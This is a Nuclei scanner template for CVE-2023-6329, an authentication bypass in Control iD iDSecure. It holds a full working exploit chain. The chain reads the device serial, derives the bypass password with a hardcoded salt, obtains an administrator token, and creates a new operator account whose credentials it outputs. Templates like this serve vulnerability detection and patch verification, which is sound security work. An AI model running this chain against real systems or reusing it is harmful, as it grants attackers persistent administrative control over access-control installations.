121 lines
3.3 KiB
YAML
121 lines
3.3 KiB
YAML
id: CVE-2023-6329
|
|
|
|
info:
|
|
name: Control iD iDSecure - Authentication Bypass
|
|
author: DhiyaneshDK,princechaddha
|
|
severity: critical
|
|
description: |
|
|
An authentication bypass vulnerability exists in Control iD iDSecure v4.7.32.0. The login routine used by iDS-Core.dll contains a "passwordCustom" option that allows an unauthenticated attacker to compute valid credentials that can be used to bypass authentication and act as an administrative user.
|
|
impact: |
|
|
Successful exploitation could allow an attacker to bypass authentication controls.
|
|
remediation: |
|
|
Apply the vendor-supplied patch or update to the latest firmware version to mitigate the vulnerability.
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-6329
|
|
cwe-id: CWE-287
|
|
epss-score: 0.02363
|
|
epss-percentile: 0.90025
|
|
cpe: cpe:2.3:a:controlid:idsecure:4.7.32.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: controlid
|
|
product: idsecure
|
|
fofa-query: body="iDSecure"
|
|
tags: cve,cve2023,auth-bypass,idsecure,control-id,intrusive
|
|
|
|
variables:
|
|
username: "{{rand_base(8)}}"
|
|
password: "{{randstr}}"
|
|
sha1Hash: "{{sha1(serial)}}"
|
|
passwordRandom: "{{rand_text_numeric(10)}}"
|
|
|
|
flow: |
|
|
http(1);
|
|
javascript();
|
|
http(2);
|
|
http(3);
|
|
|
|
javascript:
|
|
- code: |
|
|
var passwordRandom = passwordRandom;
|
|
var sha1Hash = template.sha1Hash;
|
|
var sha256Hash=(sha256combined.substring(0,6))
|
|
var passwordCustom = parseInt(sha256Hash, 16).toString();
|
|
passwordCustom
|
|
args:
|
|
sha1Hash: "{{sha1Hash}}"
|
|
sha256combined: "{{ sha256(sha1Hash+passwordRandom+'cid2016') }}"
|
|
passwordRandom: "{{passwordRandom}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /api/login/unlockGetData HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'serial'
|
|
condition: and
|
|
internal: true
|
|
|
|
extractors:
|
|
- type: json
|
|
part: body
|
|
name: serial
|
|
internal: true
|
|
json:
|
|
- '.serial'
|
|
|
|
- raw:
|
|
- |
|
|
POST /api/login/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/json
|
|
|
|
{"passwordCustom": "{{javascript_response}}", "passwordRandom": "{{passwordRandom}}"}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'accessToken'
|
|
condition: and
|
|
internal: true
|
|
|
|
extractors:
|
|
- type: json
|
|
part: body
|
|
name: access-token
|
|
internal: true
|
|
json:
|
|
- '.accessToken'
|
|
|
|
- raw:
|
|
- |
|
|
POST /api/operator/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Bearer {{access-token}}
|
|
Content-Type: application/json
|
|
|
|
{"idType": "1", "name": "{{username}}", "user": "{{username}}", "newPassword": "{{password}}", "password_confirmation": "{{password}}"}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(content_type, "application/json")'
|
|
- 'contains_all(body, "code", "newID")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: dsl
|
|
dsl:
|
|
- '"USER: "+ username'
|
|
- '"PASS: "+ password'
|
|
# digest: 4a0a00473045022100b0d5998c2e6d48d6cd217d937a720b7df084a8830acc04f343d724e6aec026e8022010f6af2f0b2543e226bf0b5ed6f57515d1575f8238b4c96c332bb5fac96c6612:922c64590222798bb761d5b6d8e72950 |